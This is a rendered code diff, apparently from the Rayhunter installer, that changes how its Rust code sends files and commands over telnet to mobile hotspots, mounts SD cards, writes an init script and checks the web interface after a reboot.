use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
|
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
|
||||||
use crate::wingtech::start_telnet;
|
use crate::wingtech::start_telnet;
|
||||||
|
|
||||||
pub async fn install(
|
pub async fn install(
|
||||||
@@ -48,7 +48,7 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
|||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
telnet_send_file(
|
telnet_send_file(
|
||||||
addr,
|
addr,
|
||||||
"/data/rayhunter/rayhunter-daemon",
|
"/data/rayhunter/rayhunter-daemon",
|
||||||
@@ -92,13 +92,20 @@ async fn run_install(admin_ip: String, admin_password: String) -> Result<()> {
|
|||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
reboot_device(addr, "reboot", &admin_ip).await;
|
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||||
|
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
|
||||||
|
sleep(Duration::from_secs(30)).await;
|
||||||
|
|
||||||
println!();
|
print!("Testing rayhunter ... ");
|
||||||
println!("Note: by default the TMOHS1 shuts off Wi-Fi after 10 minutes with no clients,");
|
let max_failures = 10;
|
||||||
println!("which blocks remote access to Rayhunter until you power cycle. To keep");
|
http_ok_every(
|
||||||
println!("Wi-Fi always on, open http://{admin_ip}/ -> Settings -> Sleep and set");
|
format!("http://{admin_ip}:8080/index.html"),
|
||||||
println!("Wi-Fi Standby to \"Always on\". See doc/tmobile-tmohs1.md for steps.");
|
Duration::from_secs(3),
|
||||||
|
max_failures,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
println!("ok");
|
||||||
|
println!("rayhunter is running at http://{admin_ip}:8080");
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
+40
-47
@@ -18,7 +18,7 @@ use serde::Deserialize;
|
|||||||
use tokio::time::sleep;
|
use tokio::time::sleep;
|
||||||
|
|
||||||
use crate::InstallTpLink;
|
use crate::InstallTpLink;
|
||||||
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
|
use crate::connection::{TelnetConnection, install_config};
|
||||||
use crate::output::println;
|
use crate::output::println;
|
||||||
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
|
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
|
||||||
|
|
||||||
@@ -30,19 +30,10 @@ pub async fn main_tplink(
|
|||||||
admin_ip,
|
admin_ip,
|
||||||
sdcard_path,
|
sdcard_path,
|
||||||
reset_config,
|
reset_config,
|
||||||
data_dir,
|
|
||||||
}: InstallTpLink,
|
}: InstallTpLink,
|
||||||
) -> Result<(), Error> {
|
) -> Result<(), Error> {
|
||||||
let is_v3 = start_telnet(&admin_ip).await?;
|
let is_v3 = start_telnet(&admin_ip).await?;
|
||||||
tplink_run_install(
|
tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3, reset_config).await
|
||||||
skip_sdcard,
|
|
||||||
admin_ip,
|
|
||||||
sdcard_path,
|
|
||||||
is_v3,
|
|
||||||
reset_config,
|
|
||||||
data_dir,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Deserialize)]
|
#[derive(Deserialize)]
|
||||||
@@ -123,15 +114,19 @@ async fn tplink_run_install(
|
|||||||
mut sdcard_path: String,
|
mut sdcard_path: String,
|
||||||
is_v3: bool,
|
is_v3: bool,
|
||||||
reset_config: bool,
|
reset_config: bool,
|
||||||
cli_data_dir: Option<String>,
|
|
||||||
) -> Result<(), Error> {
|
) -> Result<(), Error> {
|
||||||
println!("Connecting via telnet to {admin_ip}");
|
println!("Connecting via telnet to {admin_ip}");
|
||||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||||
|
|
||||||
let data_dir = if let Some(dir) = cli_data_dir {
|
if skip_sdcard {
|
||||||
dir
|
sdcard_path = "/data/rayhunter-data".to_owned();
|
||||||
} else if skip_sdcard {
|
telnet_send_command(
|
||||||
"/cache/rayhunter-data".to_owned()
|
addr,
|
||||||
|
&format!("mkdir -p {sdcard_path}"),
|
||||||
|
"exit code 0",
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
.await?
|
||||||
} else {
|
} else {
|
||||||
if sdcard_path.is_empty() {
|
if sdcard_path.is_empty() {
|
||||||
let try_paths = [
|
let try_paths = [
|
||||||
@@ -151,12 +146,9 @@ async fn tplink_run_install(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if sdcard_path.is_empty() {
|
if sdcard_path.is_empty() {
|
||||||
// This error message is shown when the installer cannot figure out where this
|
|
||||||
// device _would_ mount an SD card, regardless of whether the user did insert one.
|
|
||||||
// If we get here, it's likely the installer was never tested for this hardware
|
|
||||||
// version.
|
|
||||||
anyhow::bail!(
|
anyhow::bail!(
|
||||||
"Unable to determine sdcard path. This is a bug. Please file an issue with your hardware version.\n\n\
|
"Unable to determine sdcard path. Rayhunter needs a FAT-formatted SD card to function.\n\n\
|
||||||
|
If you already inserted a FAT formatted SD card, this is a bug. Please file an issue with your hardware version.\n\n\
|
||||||
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
|
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
|
||||||
...but none of them exist.\n\n\
|
...but none of them exist.\n\n\
|
||||||
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
|
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
|
||||||
@@ -174,43 +166,49 @@ async fn tplink_run_install(
|
|||||||
.await
|
.await
|
||||||
.is_err()
|
.is_err()
|
||||||
{
|
{
|
||||||
// Try to mount the SD card, and if that fails we assume the user didn't insert one.
|
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
||||||
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few hours. Insert one and rerun this installer, or pass --skip-sdcard")?;
|
|
||||||
} else {
|
} else {
|
||||||
println!("sdcard already mounted");
|
println!("sdcard already mounted");
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
sdcard_path
|
// there is too little space on the internal flash to store anything, but the initrd script
|
||||||
};
|
// expects things to be at this location
|
||||||
|
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?;
|
||||||
|
telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?;
|
||||||
|
telnet_send_command(
|
||||||
|
addr,
|
||||||
|
&format!("ln -sf {sdcard_path} /data/rayhunter"),
|
||||||
|
"exit code 0",
|
||||||
|
true,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
let mut conn = TelnetConnection::new(addr, true);
|
let mut conn = TelnetConnection::new(addr, true);
|
||||||
setup_data_directory(&mut conn, &data_dir).await?;
|
let config_path = format!("{sdcard_path}/config.toml");
|
||||||
|
install_config(&mut conn, &config_path, "tplink", reset_config).await?;
|
||||||
|
|
||||||
install_config(&mut conn, "tplink", reset_config).await?;
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
|
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
|
||||||
|
|
||||||
telnet_send_file(
|
telnet_send_file(
|
||||||
addr,
|
addr,
|
||||||
"/data/rayhunter/rayhunter-daemon",
|
&format!("{sdcard_path}/rayhunter-daemon"),
|
||||||
rayhunter_daemon_bin,
|
rayhunter_daemon_bin,
|
||||||
true,
|
true,
|
||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
let init_script = get_rayhunter_daemon(if skip_sdcard { None } else { Some(&data_dir) });
|
|
||||||
|
|
||||||
telnet_send_file(
|
telnet_send_file(
|
||||||
addr,
|
addr,
|
||||||
"/etc/init.d/rayhunter_daemon",
|
"/etc/init.d/rayhunter_daemon",
|
||||||
init_script.as_bytes(),
|
get_rayhunter_daemon(&sdcard_path).as_bytes(),
|
||||||
true,
|
true,
|
||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
telnet_send_command(
|
telnet_send_command(
|
||||||
addr,
|
addr,
|
||||||
"chmod ugo+x /data/rayhunter/rayhunter-daemon",
|
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
|
||||||
"exit code 0",
|
"exit code 0",
|
||||||
true,
|
true,
|
||||||
)
|
)
|
||||||
@@ -370,19 +368,18 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
fn get_rayhunter_daemon(sdcard_path: Option<&str>) -> String {
|
fn get_rayhunter_daemon(sdcard_path: &str) -> String {
|
||||||
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
|
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
|
||||||
// changing the order in which daemons are started up seems to not work reliably.
|
// changing the order in which daemons are started up seems to not work reliably.
|
||||||
//
|
//
|
||||||
// This part of the daemon dynamically generated because we may have to eventually add logic
|
// This part of the daemon dynamically generated because we may have to eventually add logic
|
||||||
// specific to a particular hardware revision here.
|
// specific to a particular hardware revision here.
|
||||||
let prestart = match sdcard_path {
|
crate::RAYHUNTER_DAEMON_INIT.replace(
|
||||||
Some(path) => {
|
"#RAYHUNTER-PRESTART",
|
||||||
format!("(mount /dev/mmcblk0p1 {path} || true) 2>&1 | tee /tmp/rayhunter-mount.log")
|
&format!(
|
||||||
}
|
"(mount /dev/mmcblk0p1 {sdcard_path} || true) 2>&1 | tee /tmp/rayhunter-mount.log"
|
||||||
None => String::new(),
|
),
|
||||||
};
|
)
|
||||||
crate::RAYHUNTER_DAEMON_INIT.replace("#RAYHUNTER-PRESTART", &prestart)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Root the TP-Link device and open an interactive shell
|
/// Root the TP-Link device and open an interactive shell
|
||||||
@@ -393,10 +390,6 @@ pub async fn shell(admin_ip: &str) -> Result<(), Error> {
|
|||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn test_get_rayhunter_daemon() {
|
fn test_get_rayhunter_daemon() {
|
||||||
let s = get_rayhunter_daemon(Some("/media/card"));
|
let s = get_rayhunter_daemon("/media/card");
|
||||||
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
|
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
|
||||||
|
|
||||||
let s = get_rayhunter_daemon(None);
|
|
||||||
assert!(!s.contains("mmcblk0p1"));
|
|
||||||
assert!(!s.contains("#RAYHUNTER-PRESTART"));
|
|
||||||
}
|
}
|
||||||
|
|||||||
+64
-69
@@ -4,6 +4,7 @@ use std::time::Duration;
|
|||||||
|
|
||||||
use anyhow::{Context, Result, bail};
|
use anyhow::{Context, Result, bail};
|
||||||
use nusb::Device;
|
use nusb::Device;
|
||||||
|
use reqwest::Client;
|
||||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||||
use tokio::net::TcpStream;
|
use tokio::net::TcpStream;
|
||||||
use tokio::time::{sleep, timeout};
|
use tokio::time::{sleep, timeout};
|
||||||
@@ -17,60 +18,54 @@ pub async fn telnet_send_command_with_output(
|
|||||||
addr: SocketAddr,
|
addr: SocketAddr,
|
||||||
command: &str,
|
command: &str,
|
||||||
wait_for_prompt: bool,
|
wait_for_prompt: bool,
|
||||||
command_timeout: Duration,
|
|
||||||
) -> Result<String> {
|
) -> Result<String> {
|
||||||
if command.contains('\n') {
|
|
||||||
bail!("multi-line commands are not allowed");
|
|
||||||
}
|
|
||||||
|
|
||||||
let stream = TcpStream::connect(addr).await?;
|
let stream = TcpStream::connect(addr).await?;
|
||||||
let (mut reader, mut writer) = stream.into_split();
|
let (mut reader, mut writer) = stream.into_split();
|
||||||
|
|
||||||
if wait_for_prompt {
|
if wait_for_prompt {
|
||||||
// Wait for the shell prompt. This also consumes any telnet IAC negotiation
|
// Wait for initial '#' prompt from telnetd
|
||||||
// the server sends at connection start, and ensures the shell is ready
|
loop {
|
||||||
// for input.
|
let mut next_byte = 0;
|
||||||
while reader.read_u8().await? != b'#' {}
|
reader
|
||||||
|
.read_exact(std::slice::from_mut(&mut next_byte))
|
||||||
|
.await?;
|
||||||
|
if next_byte == b'#' {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// This contraption is there so we clearly know where the command output starts and ends,
|
writer.write_all(command.as_bytes()).await?;
|
||||||
// skipping telnet echoing the command back using START, and terminating the connection right
|
// by quoting the 'exit' here, we ensure that we do not read our own command line back as
|
||||||
// after the command exits.
|
// "output" before we even hit enter, but the actual result of executing the echo.
|
||||||
//
|
writer
|
||||||
// 'TELNET' is quoted so that when the command gets echoed back, it does not match against
|
.write_all(b"; echo command done, 'exit' code $?\r\n")
|
||||||
// RAYHUNTER_TELNET_COMMAND_DONE search string.
|
.await?;
|
||||||
writer.write_all(format!("echo RAYHUNTER_'TELNET'_COMMAND_START; {command}; echo RAYHUNTER_'TELNET'_COMMAND_DONE\r\n").as_bytes()).await?;
|
|
||||||
|
|
||||||
let mut read_buf = Vec::new();
|
let mut read_buf = Vec::new();
|
||||||
timeout(command_timeout, async {
|
let _ = timeout(Duration::from_secs(10), async {
|
||||||
while let Ok(byte) = reader.read_u8().await {
|
let mut buf = [0; 4096];
|
||||||
read_buf.push(byte);
|
loop {
|
||||||
|
let Ok(bytes_read) = reader.read(&mut buf).await else {
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
let bytes = &buf[..bytes_read];
|
||||||
|
if bytes.is_empty() {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
read_buf.extend(bytes);
|
||||||
|
|
||||||
// when we see this string we know the command is done and can terminate.
|
// when we see this string we know the command is done and can terminate.
|
||||||
// even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
|
// even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
|
||||||
// may not terminate the connection appropriately on their own.
|
// may not terminate the connection appropriately on their own.
|
||||||
if byte == b'\n' {
|
let response = String::from_utf8_lossy(&read_buf);
|
||||||
let response = String::from_utf8_lossy(&read_buf);
|
if response.contains("command done, exit code ") {
|
||||||
if response.contains("RAYHUNTER_TELNET_COMMAND_DONE") {
|
break;
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
.await
|
.await;
|
||||||
.with_context(|| format!("command timed out after {}s", command_timeout.as_secs()))?;
|
let string = String::from_utf8_lossy(&read_buf).to_string();
|
||||||
let string = String::from_utf8_lossy(&read_buf);
|
Ok(string)
|
||||||
let start = string.rfind("RAYHUNTER_TELNET_COMMAND_START");
|
|
||||||
let end = string.rfind("RAYHUNTER_TELNET_COMMAND_DONE");
|
|
||||||
let string = match (start, end) {
|
|
||||||
(Some(start), Some(end)) => {
|
|
||||||
// skip past the START marker and the trailing \r\n of the echoed command line
|
|
||||||
let start = start + "RAYHUNTER_TELNET_COMMAND_START".len();
|
|
||||||
string[start..end].trim_start_matches(['\r', '\n'])
|
|
||||||
}
|
|
||||||
_ => bail!("failed to parse command output from string: {string:?}"),
|
|
||||||
};
|
|
||||||
Ok(string.to_string())
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn telnet_send_command(
|
pub async fn telnet_send_command(
|
||||||
@@ -79,10 +74,7 @@ pub async fn telnet_send_command(
|
|||||||
expected_output: &str,
|
expected_output: &str,
|
||||||
wait_for_prompt: bool,
|
wait_for_prompt: bool,
|
||||||
) -> Result<()> {
|
) -> Result<()> {
|
||||||
let command = format!("{command}; echo command done, exit code $?");
|
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
|
||||||
let output =
|
|
||||||
telnet_send_command_with_output(addr, &command, wait_for_prompt, Duration::from_secs(10))
|
|
||||||
.await?;
|
|
||||||
if !output.contains(expected_output) {
|
if !output.contains(expected_output) {
|
||||||
bail!("{expected_output:?} not found in: {output}");
|
bail!("{expected_output:?} not found in: {output}");
|
||||||
}
|
}
|
||||||
@@ -96,17 +88,13 @@ pub async fn telnet_send_file(
|
|||||||
wait_for_prompt: bool,
|
wait_for_prompt: bool,
|
||||||
) -> Result<()> {
|
) -> Result<()> {
|
||||||
print!("Sending file {filename} ... ");
|
print!("Sending file {filename} ... ");
|
||||||
// Allow 30s base + 2s per MB for the nc command to complete (covers slow WiFi links)
|
|
||||||
let transfer_timeout =
|
|
||||||
Duration::from_secs(30 + (payload.len() as u64 / (1024 * 1024)).max(1) * 2);
|
|
||||||
let nc_output = {
|
let nc_output = {
|
||||||
let filename = filename.to_owned();
|
let filename = filename.to_owned();
|
||||||
let handle = tokio::spawn(async move {
|
let handle = tokio::spawn(async move {
|
||||||
telnet_send_command_with_output(
|
telnet_send_command_with_output(
|
||||||
addr,
|
addr,
|
||||||
&format!("nc -l -p 8081 2>&1 >{filename}.tmp"),
|
&format!("nc -l -p 8081 >{filename}.tmp"),
|
||||||
wait_for_prompt,
|
wait_for_prompt,
|
||||||
transfer_timeout,
|
|
||||||
)
|
)
|
||||||
.await
|
.await
|
||||||
});
|
});
|
||||||
@@ -133,7 +121,7 @@ pub async fn telnet_send_file(
|
|||||||
print!("attempt {attempts}... ");
|
print!("attempt {attempts}... ");
|
||||||
}
|
}
|
||||||
|
|
||||||
let send_result: Result<()> = async {
|
{
|
||||||
let mut stream = stream?;
|
let mut stream = stream?;
|
||||||
stream.write_all(payload).await?;
|
stream.write_all(payload).await?;
|
||||||
|
|
||||||
@@ -146,23 +134,11 @@ pub async fn telnet_send_file(
|
|||||||
// application buffers here.
|
// application buffers here.
|
||||||
sleep(Duration::from_millis(1000)).await;
|
sleep(Duration::from_millis(1000)).await;
|
||||||
|
|
||||||
Ok(())
|
// ensure that stream is dropped before we wait for nc to terminate.
|
||||||
}
|
drop(stream);
|
||||||
.await;
|
|
||||||
|
|
||||||
let nc_output = handle
|
|
||||||
.await
|
|
||||||
.context("background nc writer failed")?
|
|
||||||
.context("background nc writer failed")?;
|
|
||||||
|
|
||||||
if let Err(e) = send_result {
|
|
||||||
bail!(
|
|
||||||
"Failed to send data to nc: {e}. nc output: '{}'",
|
|
||||||
nc_output.trim()
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
nc_output
|
handle.await??
|
||||||
};
|
};
|
||||||
|
|
||||||
let checksum = md5::compute(payload);
|
let checksum = md5::compute(payload);
|
||||||
@@ -209,11 +185,30 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn reboot_device(addr: SocketAddr, reboot_command: &str, admin_ip: &str) {
|
pub async fn http_ok_every(
|
||||||
println!(
|
rayhunter_url: String,
|
||||||
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
|
interval: Duration,
|
||||||
);
|
max_failures: u32,
|
||||||
let _ = telnet_send_command(addr, reboot_command, "", true).await;
|
) -> Result<()> {
|
||||||
|
let client = Client::new();
|
||||||
|
let mut failures = 0;
|
||||||
|
loop {
|
||||||
|
match client.get(&rayhunter_url).send().await {
|
||||||
|
Ok(test) => match test.status().is_success() {
|
||||||
|
true => break,
|
||||||
|
false => bail!(
|
||||||
|
"request for url ({rayhunter_url}) failed with status code: {:?}",
|
||||||
|
test.status()
|
||||||
|
),
|
||||||
|
},
|
||||||
|
Err(e) => match failures > max_failures {
|
||||||
|
true => return Err(e.into()),
|
||||||
|
false => failures += 1,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
sleep(interval).await;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// General function to open a USB device
|
/// General function to open a USB device
|
||||||
|
|||||||
@@ -148,7 +148,7 @@ async fn install_rayhunter_files(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
|||||||
adb_device.shell_command(&["mount", "-o", "remount,rw", "/system"], &mut buf)?;
|
adb_device.shell_command(&["mount", "-o", "remount,rw", "/system"], &mut buf)?;
|
||||||
|
|
||||||
// Install rayhunter daemon binary with verification
|
// Install rayhunter daemon binary with verification
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
install_file(
|
install_file(
|
||||||
adb_device,
|
adb_device,
|
||||||
"/data/rayhunter/rayhunter-daemon",
|
"/data/rayhunter/rayhunter-daemon",
|
||||||
|
|||||||
+28
-17
@@ -1,13 +1,3 @@
|
|||||||
use crate::WingtechArgs as Args;
|
|
||||||
use crate::output::{print, println};
|
|
||||||
use crate::util::{reboot_device, telnet_send_command, telnet_send_file};
|
|
||||||
use aes::Aes128;
|
|
||||||
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
|
||||||
use anyhow::{Context, Result, bail};
|
|
||||||
use base64_light::base64_encode_bytes;
|
|
||||||
use block_padding::{Padding, Pkcs7};
|
|
||||||
use reqwest::Client;
|
|
||||||
use serde::Deserialize;
|
|
||||||
/// Installer for the Wingtech CT2MHS01 hotspot.
|
/// Installer for the Wingtech CT2MHS01 hotspot.
|
||||||
///
|
///
|
||||||
/// Tested on (from `/etc/wt_version`):
|
/// Tested on (from `/etc/wt_version`):
|
||||||
@@ -16,6 +6,20 @@ use serde::Deserialize;
|
|||||||
/// WT_HARDWARE_VERSION=89323_1_20
|
/// WT_HARDWARE_VERSION=89323_1_20
|
||||||
use std::net::SocketAddr;
|
use std::net::SocketAddr;
|
||||||
use std::str::FromStr;
|
use std::str::FromStr;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use aes::Aes128;
|
||||||
|
use aes::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||||
|
use anyhow::{Context, Result, bail};
|
||||||
|
use base64_light::base64_encode_bytes;
|
||||||
|
use block_padding::{Padding, Pkcs7};
|
||||||
|
use reqwest::Client;
|
||||||
|
use serde::Deserialize;
|
||||||
|
use tokio::time::sleep;
|
||||||
|
|
||||||
|
use crate::WingtechArgs as Args;
|
||||||
|
use crate::output::{print, println};
|
||||||
|
use crate::util::{http_ok_every, telnet_send_command, telnet_send_file};
|
||||||
|
|
||||||
#[derive(Deserialize)]
|
#[derive(Deserialize)]
|
||||||
struct LoginResponse {
|
struct LoginResponse {
|
||||||
@@ -104,7 +108,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
|||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
let rayhunter_daemon_bin = crate::get_file!("FILE_RAYHUNTER_DAEMON");
|
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||||
telnet_send_file(
|
telnet_send_file(
|
||||||
addr,
|
addr,
|
||||||
"/data/rayhunter/rayhunter-daemon",
|
"/data/rayhunter/rayhunter-daemon",
|
||||||
@@ -141,13 +145,20 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
|||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
reboot_device(addr, "shutdown -r -t 1 now", &admin_ip).await;
|
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||||
|
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
|
||||||
|
sleep(Duration::from_secs(30)).await;
|
||||||
|
|
||||||
println!();
|
print!("Testing rayhunter ... ");
|
||||||
println!("Note: by default the CT2MHS01 shuts off Wi-Fi after ~10 minutes with no clients,");
|
let max_failures = 10;
|
||||||
println!("which blocks remote access to Rayhunter until you power cycle. To keep");
|
http_ok_every(
|
||||||
println!("Wi-Fi always on, open http://{admin_ip}/ -> Settings -> Sleep and set");
|
format!("http://{admin_ip}:8080/index.html"),
|
||||||
println!("Wi-Fi Standby to \"Always on\". See doc/wingtech-ct2mhs01.md for steps.");
|
Duration::from_secs(3),
|
||||||
|
max_failures,
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
println!("ok");
|
||||||
|
println!("rayhunter is running at http://{admin_ip}:8080");
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user